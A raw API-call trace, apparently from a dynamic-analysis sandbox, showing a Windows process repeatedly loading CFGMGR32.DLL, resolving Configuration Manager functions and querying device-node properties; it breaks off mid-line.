[0230.186] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.186] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.186] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.186] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.187] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.187] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.187] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.187] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.187] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.187] malloc (_Size=0x18) returned 0x20abc2820c0 [0230.188] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x17, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0230.188] malloc (_Size=0x48) returned 0x20abc27cb20 [0230.188] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x44f7de86, dwHighDateTime=0x1d9eb0c)) [0230.188] SetEvent (hEvent=0x248) returned 1 [0230.249] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.249] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.249] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.249] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.249] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.249] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.250] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.250] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.250] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.250] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.250] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.250] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.250] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.250] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.252] malloc (_Size=0x18) returned 0x20abc281dc0 [0230.252] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x17, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0230.253] malloc (_Size=0x48) returned 0x20abc27cb20 [0230.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x45016568, dwHighDateTime=0x1d9eb0c)) [0230.253] SetEvent (hEvent=0x248) returned 1 [0230.256] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.256] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.257] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.257] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.257] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.257] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.257] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.257] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.257] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.258] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.258] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.258] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.258] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.258] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.258] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.258] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.258] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.259] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.259] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.259] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.259] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.259] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.260] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.260] malloc (_Size=0x18) returned 0x20abc281e20 [0230.260] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0230.261] malloc (_Size=0x48) returned 0x20abc27cf80 [0230.261] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4503cbdc, dwHighDateTime=0x1d9eb0c)) [0230.261] SetEvent (hEvent=0x248) returned 1 [0230.266] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.266] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.266] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.267] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.267] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.267] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.267] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.267] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.267] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.267] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.268] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.268] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.268] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.268] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.268] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.268] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.268] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.268] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.269] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.269] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.269] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.269] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.269] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.270] malloc (_Size=0x18) returned 0x20abc281c20 [0230.270] CM_Get_Device_IDA (in: dnDevInst=0x18, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\PRINTENUM\\{912728E5-D154-4F13-870E-3FDAEBB239BC}") returned 0x0 [0230.270] malloc (_Size=0x48) returned 0x20abc27cb20 [0230.270] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x4503cbdc, dwHighDateTime=0x1d9eb0c)) [0230.270] SetEvent (hEvent=0x248) returned 1 [0230.274] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.274] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.274] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.274] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.275] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.275] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.323] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.323] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.323] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.326] malloc (_Size=0x18) returned 0x20abc281ba0 [0230.327] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0230.327] malloc (_Size=0xe6) returned 0x20abc2867b0 [0230.327] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2867b0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2867b0, pulLength=0x2dc22fd3f8) returned 0x0 [0230.328] free (_Block=0x20abc2867b0) [0230.328] malloc (_Size=0x48) returned 0x20abc27cb20 [0230.328] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x450d50c9, dwHighDateTime=0x1d9eb0c)) [0230.328] SetEvent (hEvent=0x248) returned 1 [0230.331] malloc (_Size=0x18) returned 0x20abc281ac0 [0230.331] SafeArrayPutElement (psa=0x20abba80550, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0230.332] free (_Block=0x20abc281ac0) [0230.332] malloc (_Size=0x18) returned 0x20abc281d80 [0230.332] SafeArrayPutElement (psa=0x20abba80550, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0230.332] free (_Block=0x20abc281d80) [0230.332] malloc (_Size=0x18) returned 0x20abc281a00 [0230.332] SafeArrayPutElement (psa=0x20abba80550, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0230.332] free (_Block=0x20abc281a00) [0230.332] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0cef0 [0230.332] SafeArrayGetDim (psa=0x20abba80550) returned 0x1 [0230.332] SafeArrayGetLBound (in: psa=0x20abba80550, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0230.332] SafeArrayGetUBound (in: psa=0x20abba80550, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0230.332] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79550 [0230.332] SafeArrayGetDim (psa=0x20abba80550) returned 0x1 [0230.332] SafeArrayGetUBound (in: psa=0x20abba80550, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0230.332] SafeArrayGetElemsize (psa=0x20abba80550) returned 0x8 [0230.332] SafeArrayGetElement (in: psa=0x20abba80550, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0230.333] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93670, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0230.333] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93678, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0230.333] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93680, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0230.334] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79550) returned 1 [0230.334] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0cef0) returned 1 [0230.335] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.335] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.335] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.401] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.402] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.402] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.402] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.402] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.402] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.402] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.403] malloc (_Size=0x18) returned 0x20abc281e00 [0230.403] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0230.403] malloc (_Size=0x54) returned 0x20abc2aac90 [0230.404] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2aac90, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2aac90, pulLength=0x2dc22fd3f8) returned 0x0 [0230.405] free (_Block=0x20abc2aac90) [0230.405] malloc (_Size=0x48) returned 0x20abc27cb20 [0230.405] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x45193d6e, dwHighDateTime=0x1d9eb0c)) [0230.405] SetEvent (hEvent=0x248) returned 1 [0230.408] malloc (_Size=0x18) returned 0x20abc281b20 [0230.408] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0230.408] free (_Block=0x20abc281b20) [0230.408] malloc (_Size=0x18) returned 0x20abc281be0 [0230.409] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0230.409] free (_Block=0x20abc281be0) [0230.409] malloc (_Size=0x18) returned 0x20abc281de0 [0230.409] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba79b58) returned 0x0 [0230.409] free (_Block=0x20abc281de0) [0230.409] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c870 [0230.409] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0230.409] SafeArrayGetLBound (in: psa=0x20abba7ffd0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0230.409] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0230.409] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba797f0 [0230.409] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0230.409] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0230.409] SafeArrayGetElemsize (psa=0x20abba7ffd0) returned 0x8 [0230.409] SafeArrayGetElement (in: psa=0x20abba7ffd0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0230.410] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93730, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0230.410] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93738, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0230.410] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93740, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0230.411] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba797f0) returned 1 [0230.411] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c870) returned 1 [0230.412] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.412] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.412] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.412] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.412] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.412] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.413] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.413] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.413] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.413] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.413] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.413] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.413] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.414] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.414] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.414] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.414] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.414] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.414] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.414] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.415] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.415] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.415] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.415] malloc (_Size=0x18) returned 0x20abc281d60 [0230.415] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0230.416] malloc (_Size=0x48) returned 0x20abc27cf80 [0230.416] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x451ba2f5, dwHighDateTime=0x1d9eb0c)) [0230.417] SetEvent (hEvent=0x248) returned 1 [0230.421] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.421] LoadLibraryExW 